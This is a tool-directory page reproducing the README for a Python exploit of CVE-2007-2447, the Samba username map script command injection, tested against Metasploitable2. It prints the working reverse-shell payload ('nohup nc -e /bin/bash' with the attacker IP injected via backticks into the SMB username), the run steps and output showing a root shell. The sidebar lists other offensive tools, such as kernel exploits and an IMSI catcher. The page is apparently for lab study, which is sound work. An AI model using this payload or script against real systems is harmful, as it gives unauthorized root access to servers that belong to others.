Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2007-2447 — Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit. | Kitploit
Tools/GitHubGitHub/rushikesh-a-bhujbal/cve-2007-2447
Payload GenerationExploitationReverse EngineeringWeb Application ExploitationNetwork SecurityPenetration TestingLearning & Education
GitHubrushikesh-a-bhujbal/cve-2007-2447

CVE-2007-2447

Samba 3.0.20 username map script command injection exploit — reverse shell via SMB authentication, built from scratch in Python using impacket. No Metasploit.

View Repository
Sep 25, 2026Not yet reviewed
Share

CVE-2007-2447 — Samba 3.0.20 Username Map Script Command Injection

Python Library Platform Target License


Overview

Samba is open-source software that implements the SMB protocol, allowing file and printer sharing between computers on a network — Windows to Linux, Linux to Linux, across mixed environments. It's the standard way Unix/Linux systems participate in Windows-based networks.

CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. Unlike CVE-2011-2523 and CVE-2010-2075 (which were supply chain attacks — intentional backdoors), this is a developer mistake: user-supplied input (the username) was passed directly to a shell command without sanitization, allowing an attacker to inject and execute arbitrary system commands.


How the Vulnerability Works

Samba has a feature called username map script — a configuration option that runs a shell script to map incoming usernames to local system usernames. Internally, Samba executes it like this:

/bin/sh -c "map_script.sh <username>"

The developer trusted that usernames would only contain normal characters. They didn't sanitize shell metacharacters like backticks.

In Linux shell, backticks mean "execute this as a command first":

/bin/sh -c "map_script.sh `/=`nohup nc -e /bin/bash KALI_IP 4444`"

The shell executes the backtick content before map_script.sh even runs — giving the attacker direct command execution as whatever user Samba is running as (root on Metasploitable2).


Vulnerability Class Comparison

CVE-2011-2523CVE-2010-2075CVE-2007-2447
TypeSupply chain (intentional backdoor)Supply chain (intentional backdoor)Developer mistake (command injection)
ProtocolFTPIRCSMB
Trigger:) in usernameAB; prefixbackticks in username
Shell typeBind shellReverse shellReverse shell

What This Script Does

  1. Opens a listener on Kali port 4444 — waiting for the reverse shell
  2. Connects to the target on port 445 using impacket's SMB client
  3. Sends a login attempt with a malicious username containing the payload: /=`nohup nc -e /bin/bash KALI_IP 4444`
  4. Samba passes the username to /bin/sh -c — shell executes the backticks
  5. nohup nc on the target connects back to Kali port 4444 with a bash shell
  6. listener.accept() receives the incoming shell connection
  7. Interactive root shell loop begins

Payload Explained

/=`nohup nc -e /bin/bash 192.168.15.129 4444`
  • /= → satisfies Samba's username format requirement
  • ` ` → shell backticks — execute everything inside as a command
  • nohup → keeps the process alive even after Samba closes the connection
  • nc → netcat — raw networking tool
  • -e /bin/bash → attach bash to the connection — gives whoever connects a shell
  • 192.168.15.129 4444 → your Kali IP and listening port

Requirements

  • Python 3.x
  • impacket library
  • netcat on the target (present by default on Metasploitable2)
  • Target: Metasploitable2 running Samba 3.0.20

Install impacket:

pip install impacket

Usage

git clone https://github.com/rushikesh-a-bhujbal/CVE-2007-2447.git
cd CVE-2007-2447
pip install impacket

Edit main.py:

kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"

Run:

python3 main.py

Example output:

[*] Listening on port 4444...
[+] Payload sent. Waiting for shell...
[+] Shell received from ('192.168.15.132', 37665)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/
> exit

Error Handling

ScenarioBehaviour
SMB connection refusedException raised, script exits
Login fails (expected)Caught silently — payload already fired
Shell never connects backlistener.accept() blocks indefinitely
Command produces no outputrecv() times out silently, returns to prompt

Tested Against

  • Metasploitable2 (intentionally vulnerable VM)
  • Samba 3.0.20
  • Linux metasploitable 2.6.24-16-server

Legal Disclaimer

This exploit is developed strictly for educational purposes and authorized security research only.

Built and tested exclusively against a local Metasploitable2 virtual machine in a fully isolated lab environment.

Do not use this against any system you do not own or have explicit written permission to test. Unauthorized use is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent laws worldwide.

The author accepts no responsibility for misuse of this code.


References

  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2007-2447
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2007-2447
  • ExploitDB: https://www.exploit-db.com/exploits/16320
  • Metasploitable2: https://sourceforge.net/projects/metasploitable/

Author

Rushikesh Bhujbal
Security Research & Exploit Development
GitHub

Download Tool

Related Tools

  • metasploit-framework

    Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

  • donut

    Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

  • sRDI

    Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    721
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    535
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

Explore all tools

Browse our collection of tools

View all tools →